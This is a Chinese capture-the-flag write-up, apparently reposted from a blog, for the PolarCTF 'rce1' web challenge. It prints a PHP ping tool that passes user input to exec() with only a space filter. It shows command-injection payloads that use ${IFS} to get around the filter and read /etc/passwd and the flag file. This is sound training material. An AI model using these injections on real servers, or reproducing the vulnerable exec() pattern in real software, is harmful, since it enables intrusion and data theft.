欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 科技 > 能源 > polarctf-web-[rce1]

polarctf-web-[rce1]

2025/5/17 8:55:12 来源:https://blog.csdn.net/m0_74759151/article/details/148018433  浏览:    关键词:polarctf-web-[rce1]

考点:

(1)RCE(exec函数)

(2)空格绕过

(3)执行函数(exec函数)

(4)闭合(ping命令闭合)

题目来源:Polarctf-web-[rce1]

解题:

这段代码实现了一个简单的 Ping 测试工具,用户可以通过表单提交一个 IP 地址,服务器会执行 ping 命令并返回结果。

  1. 命令注入漏洞 (高危)

  • 漏洞位置: $cmd = "ping -c 4 {$ip}";exec($cmd, $res);

  • 问题描述: 代码仅过滤了空格字符,攻击者可以使用以下方式绕过:

    • 使用制表符 %09 代替空格

    • 使用 ${IFS} (Bash 内部字段分隔符)代替空格(本题使用这个)

    • 使用重定向符号 <> 不需要空格

    • 使用 ;&&|| 等命令连接符

  • 攻击示例:

     127.0.0.1;cat${IFS}/etc/passwd127.0.0.1%0als${IFS}-l
  1. 输入验证不足 (中危)

  • 问题描述: 仅检查了是否包含空格,没有进行有效的 IP 地址格式验证

 <?php​$res = FALSE;​if (isset($_GET['ip']) && $_GET['ip']) {$ip = $_GET['ip'];$m = [];if (!preg_match_all("/ /", $ip, $m)) {  # 检测ip是否含有空格,如果不含有则进入里层,m用于存储匹配的数组$cmd = "ping -c 4 {$ip}";exec($cmd, $res);   # 执行cmd命令,res用于存储命令的每一行输出} else {$res = $m;}}?>​<!DOCTYPE html><html><head><meta charset="utf-8"><title>ping</title></head><body><style>html{height:100%;}body{padding: 0;margin: 0;background: url(1.png);background-size: 100% 100%;position: absolute;}</style>​<h1>就过滤了个空格,能拿到flag算我输</h1>​<form action="#" method="GET"><label for="ip">IP : </label><br><input type="text" id="ip" name="ip"><input type="submit" value="Ping"></form>​<hr>​<pre><?phpif ($res) {print_r($res);}?></pre>​<?phpshow_source(__FILE__);?>​</body></html>

用分号闭合ping命令,输入ls,点击"Ping"查看当前目录文件

使用命令查看可疑文件,由于过滤了空格,此处使用${IFS}进行绕过:;cat${IFS}fllllaaag.php

点击"Ping"

成功回显,查看源码获得flag

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

热搜词